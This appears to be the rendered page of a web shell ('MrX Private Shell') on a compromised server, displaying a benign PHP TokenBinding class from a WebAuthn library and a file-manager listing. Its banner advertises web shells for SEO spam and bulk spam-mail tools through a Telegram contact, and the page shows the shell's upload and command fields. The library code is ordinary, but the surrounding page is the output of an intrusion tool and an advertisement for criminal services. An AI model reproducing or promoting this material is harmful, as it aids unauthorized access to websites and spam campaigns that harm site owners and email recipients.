__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace Webauthn\TokenBinding;

use function array_key_exists;
use function in_array;
use ParagonIE\ConstantTime\Base64UrlSafe;
use Webauthn\Exception\InvalidDataException;

/**
 * @deprecated Since 4.3.0 and will be removed in 5.0.0
 */
class TokenBinding
{
    final public const TOKEN_BINDING_STATUS_PRESENT = 'present';

    final public const TOKEN_BINDING_STATUS_SUPPORTED = 'supported';

    final public const TOKEN_BINDING_STATUS_NOT_SUPPORTED = 'not-supported';

    private readonly string $status;

    private readonly ?string $id;

    public function __construct(string $status, ?string $id)
    {
        $status === self::TOKEN_BINDING_STATUS_PRESENT && $id === null && throw InvalidDataException::create(
            [$status, $id],
            'The member "id" is required when status is "present"'
        );
        $this->status = $status;
        $this->id = $id;
    }

    /**
     * @param mixed[] $json
     */
    public static function createFormArray(array $json): self
    {
        array_key_exists('status', $json) || throw InvalidDataException::create(
            $json,
            'The member "status" is required'
        );
        $status = $json['status'];
        in_array($status, self::getSupportedStatus(), true) || throw InvalidDataException::create($json, sprintf(
            'The member "status" is invalid. Supported values are: %s',
            implode(', ', self::getSupportedStatus())
        ));
        $id = array_key_exists('id', $json) ? Base64UrlSafe::decodeNoPadding($json['id']) : null;

        return new self($status, $id);
    }

    public function getStatus(): string
    {
        return $this->status;
    }

    public function getId(): ?string
    {
        return $this->id;
    }

    /**
     * @return string[]
     */
    private static function getSupportedStatus(): array
    {
        return [
            self::TOKEN_BINDING_STATUS_PRESENT,
            self::TOKEN_BINDING_STATUS_SUPPORTED,
            self::TOKEN_BINDING_STATUS_NOT_SUPPORTED,
        ];
    }
}

Filemanager

Name Type Size Permission Actions
IgnoreTokenBindingHandler.php File 460 B 0664
SecTokenBindingHandler.php File 1.28 KB 0664
TokenBinding.php File 2.03 KB 0664
TokenBindingHandler.php File 305 B 0664
TokenBindingNotSupportedHandler.php File 690 B 0664
Filemanager